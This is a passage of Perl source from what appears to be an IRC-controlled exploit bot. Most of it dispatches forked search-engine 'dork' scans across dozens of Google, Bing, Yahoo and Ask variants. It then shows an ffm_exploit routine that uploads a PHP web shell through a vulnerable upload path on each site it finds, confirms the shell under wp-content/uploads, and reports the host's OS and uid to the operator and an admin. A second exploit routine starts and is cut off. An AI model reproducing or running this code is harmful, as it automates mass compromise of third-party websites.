  549. if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKEU",$type); } exit; } }
  550. if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKFR",$type); } exit; } }
  551. if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKHU",$type); } exit; } }
  552. if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKID",$type); } exit; } }
  553. if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIL",$type); } exit; } }
  554. if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIN",$type); } exit; } }
  555. if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKInfO",$type); } exit; } }
  556. if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIR",$type); } exit; } }
  557. if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIT",$type); } exit; } }
  558. if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKJP",$type); } exit; } }
  559. if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKKR",$type); } exit; } }
  560. if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKMX",$type); } exit; } }
  561. if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKMY",$type); } exit; } }
  562. if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKNeT",$type); } exit; } }
  563. if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKNL",$type); } exit; } }
  564. if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKOrG",$type); } exit; } }
  565. if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKPH",$type); } exit; } }
  566. if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKPL",$type); } exit; } }
  567. if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKRO",$type); } exit; } }
  568. if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKRU",$type); } exit; } }
  569. if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKTH",$type); } exit; } }
  570. if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUA",$type); } exit; } }
  571. if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUK",$type); } exit; } }
  572. if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUS",$type); } exit; } }
  573. if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKSI",$type); } exit; } }
  574. if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBE",$type); } exit; } }
  575. if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBIZ",$type); } exit; } }
  576. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLe",$type); } exit; } }
  577. if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCA",$type); } exit; } }
  578. if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeDE",$type); } exit; } }
  579. if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeUK",$type); } exit; } }
  580. if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeFR",$type); } exit; } }
  581. if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeES",$type); } exit; } }
  582. if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIT",$type); } exit; } }
  583. if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNL",$type); } exit; } }
  584. if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeBE",$type); } exit; } }
  585. if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCH",$type); } exit; } }
  586. if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeSE",$type); } exit; } }
  587. if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeDK",$type); } exit; } }
  588. if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNO",$type); } exit; } }
  589. if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNZ",$type); } exit; } }
  590. if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIE",$type); } exit; } }
  591. if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeBR",$type); } exit; } }
  592. if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAR",$type); } exit; } }
  593. if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCO",$type); } exit; } }
  594. if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCU",$type); } exit; } }
  595. if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCL",$type); } exit; } }
  596. if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeMX",$type); } exit; } }
  597. if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAU",$type); } exit; } }
  598. if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeRU",$type); } exit; } }
  599. if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAT",$type); } exit; } }
  600. if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLePL",$type); } exit; } }
  601. if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIL",$type); } exit; } }
  602. if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTR",$type); } exit; } }
  603. if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeUA",$type); } exit; } }
  604. if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeGR",$type); } exit; } }
  605. if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeJP",$type); } exit; } }
  606. if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCN",$type); } exit; } }
  607. if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeMY",$type); } exit; } }
  608. if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTH",$type); } exit; } }
  609. if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIN",$type); } exit; } }
  610. if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeKR",$type); } exit; } }
  611. if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeRO",$type); } exit; } }
  612. if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTW",$type); } exit; } }
  613. if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeZA",$type); } exit; } }
  614. if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLePT",$type); } exit; } }
  615. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"Bing",$type); } exit; } }
  616. if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingDE",$type); } exit; } }
  617. if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingUK",$type); } exit; } }
  618. if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCA",$type); } exit; } }
  619. if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingBR",$type); } exit; } }
  620. if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingFR",$type); } exit; } }
  621. if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingES",$type); } exit; } }
  622. if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingIT",$type); } exit; } }
  623. if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingBE",$type); } exit; } }
  624. if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNL",$type); } exit; } }
  625. if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingPT",$type); } exit; } }
  626. if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNO",$type); } exit; } }
  627. if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingDK",$type); } exit; } }
  628. if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingSE",$type); } exit; } }
  629. if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCH",$type); } exit; } }
  630. if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNZ",$type); } exit; } }
  631. if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingRU",$type); } exit; } }
  632. if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingJP",$type); } exit; } }
  633. if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCN",$type); } exit; } }
  634. if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingKR",$type); } exit; } }
  635. if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingMX",$type); } exit; } }
  636. if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingAR",$type); } exit; } }
  637. if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCL",$type); } exit; } }
  638. if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingAU",$type); } exit; } }
  639. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BigLobe",$type); } exit; } }
  640. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"WaLLa",$type); } exit; } }
  641. if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YaHoo",$type); } exit; } }
  642. if ($engine =~ /yahooCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCA",$type); } exit; } }
  643. if ($engine =~ /yahooUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoUK",$type); } exit; } }
  644. if ($engine =~ /yahooDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoDE",$type); } exit; } }
  645. if ($engine =~ /yahooFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoFR",$type); } exit; } }
  646. if ($engine =~ /yahooES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoES",$type); } exit; } }
  647. if ($engine =~ /yahooIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoIT",$type); } exit; } }
  648. if ($engine =~ /yahooHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoHK",$type); } exit; } }
  649. if ($engine =~ /yahooID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoID",$type); } exit; } }
  650. if ($engine =~ /yahooIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoIN",$type); } exit; } }
  651. if ($engine =~ /yahooAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAU",$type); } exit; } }
  652. if ($engine =~ /yahooMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoMX",$type); } exit; } }
  653. if ($engine =~ /yahooTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoTW",$type); } exit; } }
  654. if ($engine =~ /yahooBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoBR",$type); } exit; } }
  655. if ($engine =~ /yahooAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAR",$type); } exit; } }
  656. if ($engine =~ /yahooNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoNL",$type); } exit; } }
  657. if ($engine =~ /yahooDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoDK",$type); } exit; } }
  658. if ($engine =~ /yahooPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPH",$type); } exit; } }
  659. if ($engine =~ /yahooCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCL",$type); } exit; } }
  660. if ($engine =~ /yahooRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoRU",$type); } exit; } }
  661. if ($engine =~ /yahooCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCH",$type); } exit; } }
  662. if ($engine =~ /yahooCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCO",$type); } exit; } }
  663. if ($engine =~ /yahooFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoFI",$type); } exit; } }
  664. if ($engine =~ /yahooRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoRO",$type); } exit; } }
  665. if ($engine =~ /yahooVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoVE",$type); } exit; } }
  666. if ($engine =~ /yahooAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAT",$type); } exit; } }
  667. if ($engine =~ /yahooPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPL",$type); } exit; } }
  668. if ($engine =~ /yahooKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoKR",$type); } exit; } }
  669. if ($engine =~ /yahooNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoNZ",$type); } exit; } }
  670. if ($engine =~ /yahooGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoGR",$type); } exit; } }
  671. if ($engine =~ /yahooPE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPE",$type); } exit; } }
  672. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsK",$type); } exit; } }
  673. if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKCA",$type); } exit; } }
  674. if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKDE",$type); } exit; } }
  675. if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKIT",$type); } exit; } }
  676. if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKFR",$type); } exit; } }
  677. if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKES",$type); } exit; } }
  678. if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKRU",$type); } exit; } }
  679. if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKNL",$type); } exit; } }
  680. if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKUK",$type); } exit; } }
  681. if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKBR",$type); } exit; } }
  682. if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKPL",$type); } exit; } }
  683. if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKAU",$type); } exit; } }
  684. if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKAT",$type); } exit; } }
  685. if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKJP",$type); } exit; } }
  686. if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKSE",$type); } exit; } }
  687. if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKMX",$type); } exit; } }
  688. if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKNO",$type); } exit; } }
  689. if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKDK",$type); } exit; } }
  690. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"UoL",$type); } exit; } }
  691. if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"OnEt",$type); } exit; } }
  692. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"CLusTy",$type); } exit; } }
  693. if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"SaPo",$type); } exit; } }
  694. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AoL",$type); } exit; } }
  695. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"LyCos",$type); } exit; } }
  696. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"HotBot",$type); } exit; } }
  697. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"SeZNam",$type); } exit; } }
  698. }
  699.  
  700.  
  701. ###### EXPLOITING #######
  702. sub ffm_exploit() {
  703. my $chan = $_[0];
  704. my $bugz = $_[1];
  705. my $nick = $_[2];
  706. my $dork = $_[3];
  707. my $engine = $_[4];
  708. my $count = 0;
  709. my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$ffmlogo);
  710. my $num = scalar(@totexploit);
  711. if ($num > 0){
  712. foreach my $site(@totexploit){
  713. $count++;
  714. if ($count == $num-1) { &msg("$chan","$ffmlogo15$engine 9Finished 15for 9$dork "); }
  715. my $aplod = LWP::UserAgent->new;
  716. my $res = $aplod->post("http://".$site.$bugz,['file' => ['./xxx.php' => 'application/octet-stream'],'name' => 'xxx.php'],'Content-Type' => 'form-data');
  717. my $hasil = $res->content;
  718. my $path = "wp-content/uploads/2013/10/xxx.php";
  719. if ($hasil=~ /xxx.php/){
  720. &msg("$chan","$ffmlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  721. my $test = "http://".$site.$path;
  722. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  723. my $cekap = &get_content($test);
  724. if ($cekap =~ /UnKnown - Simple Shell/) {
  725. my $safe = ""; my $os = ""; my $uid = "";
  726. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  727. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  728. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  729. &msg("$nick","$ffmlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  730. &msg("$admin","$ffmlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  731. }
  732. } exit;
  733. } }
  734. }
  735. }
  736. }
  737.  
  738. sub zen_exploit() {
  739. my $chan = $_[0];
  740. my $bug = $_[1];
  741. my $nick = $_[2];
  742. my $dork = $_[3];
  743. my $engine = $_[4];
  744. my $count = 0;
  745. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  746. my $num = scalar(@totexploit);
  747. if ($num > 0){
  748. foreach my $site(@totexploit){
  749. $count++;
  750. if ($count == $num-1) { &msg("$chan","$zenlogo15$engine 9Finished 15for 9$dork "); }
  751. my $test = "http://".$site.$bug;
  752. my $html = &get_content($test);
